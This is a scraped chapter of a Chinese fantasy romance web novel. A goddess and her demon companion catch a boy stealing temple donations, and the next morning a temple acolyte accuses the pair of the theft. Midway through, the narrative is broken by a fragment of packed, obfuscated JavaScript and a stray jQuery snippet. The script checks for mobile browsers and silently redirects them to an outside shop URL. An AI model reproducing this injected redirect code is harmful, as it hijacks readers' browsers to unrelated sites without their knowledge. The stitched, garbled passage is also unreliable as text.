木天歌听到过许多祈愿。
保平安,财运,收成,姻缘,子嗣,功名,机遇,甚至是对他人的诅咒。
但这是她第一次在祈愿中听到自己的名字,而且还要和她生生绑在一起。
这对她来说并不是好事。
凡人能够通过修炼延年益寿,长生不老;魔族的寿命生来就是凡人的数倍不止。虽然长寿,犹有尽时。
一个魂灵会经历生老病死,再入轮回。
但是古神族不一样。
古神族没有魂灵,亦不会死亡。
再长寿的生灵,对于木天歌而言,都太渺小了。
不息许完愿后长舒一口气,转头便看见木天歌正神色复杂地看着他。
不息疑惑道:“天歌,你怎么了?”
木天歌神色暗了暗。再抬头时,面上早就没有了阴霾。
“我在想,一会儿给你买什么糖好呢?”
不息飞扑过来,紧紧环抱住她,差点把她扑倒:“天歌!你对我最好了!”
木天歌被他闷在温暖的胸膛中,几乎要喘不过气来,只好拍拍他的肩膀。
罢了,陪他一段时间吧。
两人借来张旧席子,木天歌捏了个诀,开始修复他的灵脉。
不息盯着神像的方向,鬼迷心窍似的冒出一句:“天歌,你是什么人?”
木天歌想都没想:“女人。”
不息沉默。
细细想来,木天歌身上疑点重重。
听闻已经飞升的大能修士,能够化出一个分身来下凡游历,只是这样极耗费灵力,若是分分身有个三长两短,本体也会受牵连。
这倒是与木天歌的情况差不多。
魔族与天界交集甚少,你我井水不犯河水,也没有哪个人物吃饱了撑的,设立不能跨种族结契这种规矩。
不息今晚带着自己的甜蜜幻想安然入睡了,独留木天歌一人与天花板干瞪眼。
白天时候,她用药草换了些银子,打算明天去租个铺子开医馆。
还有些余钱,到时候再置办点家具……
哒,哒。
不远处传来极轻微的,窸窸窣窣的脚步声,伴随着木板摩擦的声响,木天歌顿时警觉坐起身,偷偷探出头,向声音方向窥去。
是一个年纪不大,看着不到十岁的男孩,紧张着东张西望,蹑手蹑脚靠近功德箱,试图抽出底下的木板。
木天歌有些诧异,嘴巴微张。
偷功德箱里面的钱!这可是大不敬!不怕神明迁怒么……
嗯,不对。
她这个“神明”抓了个现行,好像也没有“迁怒”……
不过这些钱可都是殿里的,当家们又不是神仙,得吃饭呢。
木天歌无声绕到他身后,可心中又忍不住疑惑,枫岚渡的人们都无比尊敬木神,都来偷木神殿了,生活是有多苦啊。
月光撒在那男孩的背影上,总觉得有些熟悉。
“白枫?”
男孩吓得一激灵,随即亮出雪白的刀锋、猛地转身刺向她!
木天歌侧身堪堪躲过那把匕首,心有余悸地拍拍胸脯。
白枫,就是她白天时遇到的那对双生子小乞丐中的哥哥,她还给了他们两颗糖,导致不息没能吃上。
白枫手中还紧紧握着破烂匕首,举起来也不是,收起来也不是,看见木天歌,脸色瞬间苍白无比。
空气凝滞了片刻。白枫一副吃了苍蝇一样的表情,瞪着木天歌。
木天歌微微一笑,指了指他的匕首:“这个很危险的,收起来好吗?”
白枫一脸不甘,缓缓放下手中的匕首。从牙缝中挤出来一句:“怎么偏偏是你……”
这话听着不知所云,不过木天歌不在乎,道:“这样做会折福的,有句古话道,万般带不走,唯有业随身。”
白枫抿了抿唇,低下头,紧紧攥住衣角,眼下挤出两滴泪:“可是……我和阿岚在此处无亲无故,是迫不得已才来偷钱的……”
木天歌沉默一瞬,道:“白岚知道你在偷钱吗?”
白岚就是他的双胞胎妹妹,就白天的情形来看,两人关系十分亲密。
白枫摇摇头。
木天歌默默瞥了眼门外。
白枫继续哭诉:“阿岚都十二了,还没有件像样的衣裳,我不要紧,只是她一个姑娘家……”
木天歌皱眉道:“不对,你刚刚说白岚多少岁了?”
白枫道:“十二岁呀。”
木天歌不可置信地上上下下打量着他。
都十二岁了?看着又瘦又小,她还以为两人不到十岁。
木天歌叹了口气:“你走吧,我可以当做没看见。”
白枫低着头,盯着黑漆漆的脚趾,一言不发。
木天歌终究于心不忍,向功德箱中投了两枚铜板,拿起桌案旁两根五彩绳递给白枫。
白枫不明所以,抬起黑得发绿的眼望向她,问道:“这个能卖钱吗?”
“不能。”木天歌一阵心酸:“但这个是开过光的宝物,能在关键时候救你一命。”
白枫提溜着那两根五彩绳,翻来覆去看不出个花样来,眼神中是不加掩饰的不以为然,嘴上却乖巧地问道:“真的吗?”
“当然了。”
白枫笑了,原本上扬的眼角眯成一条缝。“姐姐莫不是在诓我?这不就是普通的五彩线?”
木天歌道:“怎么会?我所言句句属实。”
“你敢对天发誓吗?”
这是小孩子之间最常开玩笑的话了,木天歌哈哈笑起来:“怎么不敢?我对天发誓,这条五彩绳在关键时刻肯定能救你一命。”
毕竟是她自己开的光,怎么不信!
白枫这才尽兴,将五彩绳揣到交领中:“嘻嘻,谢谢姐姐啦!”
木天歌终于送走了白枫,蹑手蹑脚回到那张毯子旁边,却发现不息换了个朝向睡。
原来面向她侧躺着的,现在面向外了。
木天歌盯着不息微微打着卷,缠得乱七八糟的发尾,低声笑起来。
不出她所料,第二天不息醒来后,顶着一头凌乱而不失美感的黑发,红着眼角,假装没睡醒,迷迷糊糊往木天歌身上拱。
木天歌刚穿了一半的外衣,被他一拱,差点又躺回那张毯子上。
木天歌无奈看向身上这个比她高了快两个头的精致美丽人形大挂件。
……他什么时候才能意识到自己块头很大?
不息现在显然完全没意识到。因为他拱得更厉害了,还伸出不安分的爪子试图抱住她。
木天歌急忙按住他的脑袋:“哎,非礼啦,你再这样,我就去找九殿下告状。”
不息置若罔闻,赖在她身上不动,似乎认定了木天歌只是嘴上吓唬他。
此人油盐不进,木天歌就大概明白其中缘由了,勾起唇角对他道:“对了不息,我有个东西要送给你。”
不息果然一扫之前的睡眼惺忪,也不装困了也不粘着她了,当即挺直腰杆,眼睛倏地亮起来:“是什么?”
木天歌眨眨浅金色的眼:“猜猜?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691548|207904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>不息开始表演他的拿手好戏:装傻充愣。
他猜了好几次都没能猜中,或者说故意避开正确答案。
“哎,把手伸出来。”
木天歌终于拿出藏在袖中的五彩绳,给他戴在左手上。
不息抬起左手,看了又看,笑容比今早的太阳还灿烂。
木天歌笑眯眯地道:“怎么样?”
不息偷偷摩挲着那根五彩绳,笑道:“谢谢天歌,我很喜欢这个。”
木天歌内心嗔道:你不就是想要这个吗……
她抬头看了眼日头:“时间不早了,走,办正事去。”
两人准备找当家去还毯子,却被一个道童喝道:“站住!”
两人双双回头,只见一个扎着两个揪揪道童,对两人颐指气使,揪揪随着他用力过猛的语气一晃一晃。
木天歌不解:“何事?”
“你们偷了功德钱还想跑?没门!”
木天歌皱眉道:“功德钱被人偷了?”
道童扬起头来,几乎用鼻孔看着他们:“不就是你们偷的?装什么!”
木天歌上前摇了摇功德箱,果然一个子儿都没了。
小道童见状,恶狠狠“呸”了一声:“师父好心给你们落脚处,你们倒好,恩将仇报,忘恩负义!狗男女!呸!”
不息脸色沉下来,眼神冷得要结出霜花来,嘴角带着冷笑,上前将小道童笼罩在阴影之中:“这可是木神殿,避谶呀,小兔崽子。”
小道童登时气得眼歪嘴斜,但眼前之人身材魁梧,宽肩窄腰,一身精壮的肌肉,好像能一拳抡死自己。
小道童吓得双腿发抖,却咽不下这口恶气:“你!”
木天歌眉头紧锁。是白枫干的吗?可是昨日不是已经把好言好语他劝走了……
不息内心冷笑。她给了白枫五彩绳,可五彩绳又不能吃,他当然要继续偷钱。
昨晚他看得清清楚楚,白枫后半夜又来了一趟。
天歌啊……你天真得过分了。
道童见不息是块硬骨头,于是转向一看就很好欺负的小绵羊木天歌:“你们偷了我们木神殿里的钱!吐出来!”说罢就伸手要去揪她的衣领,
可未等他的手碰到木天歌,自己的衣领先被提了起来。
不息提溜小鸡一般将他举到空中,笑嘻嘻道:“贱种,你哪只眼睛看到我们偷了钱?”
木天歌道:“小友,信口雌黄可不是什么好习惯。偷功德钱的另有其人。”
道童扑腾着手脚,涨得满脸通红,道:“你——你倒是先让他放我下来呀!”
不息:?
木天歌:?
……为什么你觉得主动权在木天歌手里?
不息终于放开了了他,道童“哐当”落在地上,如离水的鱼一般,大口吞着新鲜空气。
然而他却不肯消停,一个鲤鱼打挺起身后继续开始唇枪舌战:
“之前都好好的,你们一来,钱就没了,不是你们偷的还能是谁!”
“两位,这是……”当家站在门外,神色凝重地望着他们。
道童仿佛抓住了救命稻草一般,跌跌撞撞跑过去,指着木天歌哭诉道:“师父!功德钱全他们被偷了!还欺负人!”
道童不经意间瞥见不息手上的五彩绳,尖叫道:“不是吧?你们还偷了祈福物!”
当家气得用拄杖敲他的脑袋,却不经意间瞥见了那根五彩绳。
那一瞬,他浑浊的眼珠骤然明亮起来,对不息道:“年轻人,能否给老夫看看你手上的物什?”